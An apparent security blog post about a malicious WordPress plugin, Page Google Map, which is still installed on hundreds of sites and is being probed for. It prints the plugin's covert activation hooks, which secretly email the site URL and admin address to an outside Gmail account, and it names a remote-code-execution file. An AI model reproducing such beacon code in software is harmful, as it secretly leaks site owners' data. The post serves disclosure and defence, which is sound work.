Recently the WordPress Plugin Directory was changed so that the pages for plugins that have been closed remain visible (previously they were removed). One of the impacts, for better and worse, is that you can see how many websites are still using those plugins. Last week we discussed how one plugin that was removed over a year ago due to a security issue that was being exploited, was still being used on fairly significant number of the websites that used it before that occurred. We went to look into that after we saw what looked to be a hacker probing for the usage of the plugin again.

This week we saw what looked like it might be someone probing for the usage three plugins (the requests came from different IP addresses, but occurred within seconds of each other). We will be discussing the two others in upcoming posts. But first we thought it would be worth separately discussing the other, as it is a bit different since the other two plugins contained vulnerabilities, while this one was intentionally malicious. The plugin was named Page Google Map (or just Google Map) and the request we saw was for the file /wp-content/plugins/page-google-maps/pr.php.

That plugin was part of a set of plugins we saw someone probing for back in October of last year. As we discussed in more detail then, the person or persons behind those had copied legitimate plugins and resubmitted them to the Plugin Directory and then added malicious code to them. In the case of this plugin, it was copied from version 1 of the plugin Simplified Google Maps Light.

At some point it looks like the Plugin Directory realized what was going on and removed those plugins. This plugin was in the directory at least through March 25, 2014, but was gone by September 1st of that year. People using the plugins were not warned about the true nature of the plugins and we couldn’t find any indication that there was any public mention of the issue with most of the plugins at the time. That doesn’t seem to have hidden the issue from other malicious actors, though.

The person(s) behind those plugins shouldn’t have needed to probe for usage of the plugins, as part of the malicious code emailed them when the plugins were activated and deactivated. Here is that code in this plugin:

14
15
register_activation_hook( __FILE__,'mapsgtreplugin_activate');
register_deactivation_hook( __FILE__,'mapsgtreplugin_deactivate');
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
function mapsgtreplugin_activate() { 
$yourip = $_SERVER['REMOTE_ADDR'];
$filename = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/page-google-maps/welcomenote.txt';
fwrite($fp, $yourip);
fclose($fp);
session_start(); $subj = get_option('siteurl'); $msg = "Maps is Activated" ; $from = get_option('admin_email'); mail("johnandrerson259@gmail.com", $subj, $msg, $from);
add_option('gmapsgoogleswpred_do_activation_redirect', true);
wp_redirect('../wp-admin/admin.php?page=pgm_googlemaps&amp;action=edit');
}
 
 
/** Uninstall it */
function mapsgtreplugin_deactivate() { 
session_start(); $subj = get_option('siteurl'); $msg = "Maps is Uninstalled" ; $from = get_option('admin_email'); mail("johnandrerson259@gmail.com", $subj, $msg, $from);
}

Based on that and that we have seen probing for as little as one of this plugins, it seems that others realized that these vulnerabilities existed and then went to see about exploiting them.

The other malicious code allowed remote code execution and in this plugin that was contained in the file /pr.php, which was what was being probed for on our website.

According to wordpress.org there are currently still 500+ active installations of the plugin:

That indicates that there are between 500 and 599 website still using the plugin.

For this plugin the first version, 1.3, didn’t contain the file hacker probing for or the other malicious code, so some websites still using it might not be vulnerable.

The restoration of the pages of closed plugins also makes it to see other things about these plugins, in the case of the plugin we noticed that a couple of the reviews of the pluign were from people saying that they had tried multiple map plugins and this one was the best, which is interesting considering that it is simply a copy of another map plugin in the Plugin Directory.

Avoiding Using Vulnerable Plugins

There are a couple of obvious things that people on the WordPress side of things could do to help with unfixed vulnerable plugins whether due to intentional malicious code like this one or not. The first would be for WordPress to notifying people using a plugin with a known vulnerability that it has a known vulnerability. Another one would be for WordPress to release a fixed version, something that they currently only do in rare occasions and when it came to the plugin we discussed last week they didn’t even want to have a discussion about doing (we would be happy to help with them with fixing those vulnerabilities). Better handling unfixed vulnerabilities isn’t being helped by the fact that WordPress founder Matt Mullenweg claims that the issue is “hypothetical”.

Another solution here is for people to be using our service’s companion plugin, as the free data that comes with that warns about plugins that hackers are targeting, so anyone using our plugin and this one would have been warned about it since October of last year.

Our plugin is often the only free source of vulnerability information that warns about exploited vulnerabilities, despite it being possible for others to look at the data included in that and the information on our website. With this plugin, despite our public disclosure over a year ago, it isn’t listed in other free data sources we are aware of.

If you are thinking that avoiding plugins that have been removed from the Plugin Directory would protect you from unfixed vulnerabilities, that used to be the case, but these days it isn’t because we were about the only ones making sure that vulnerable plugins were getting removed and since we suspended doing that due to WordPress continued poor handling of security, no one else has taken over doing that. That currently means that plugins with millions of active installations contain known vulnerabilities in the latest version. If you were using our service you would be warned if you were using those as well having us available to help you in taking action to protect yourself (we often can provide a workaround until the developer fixes the vulnerability or until you can move off of the plugin).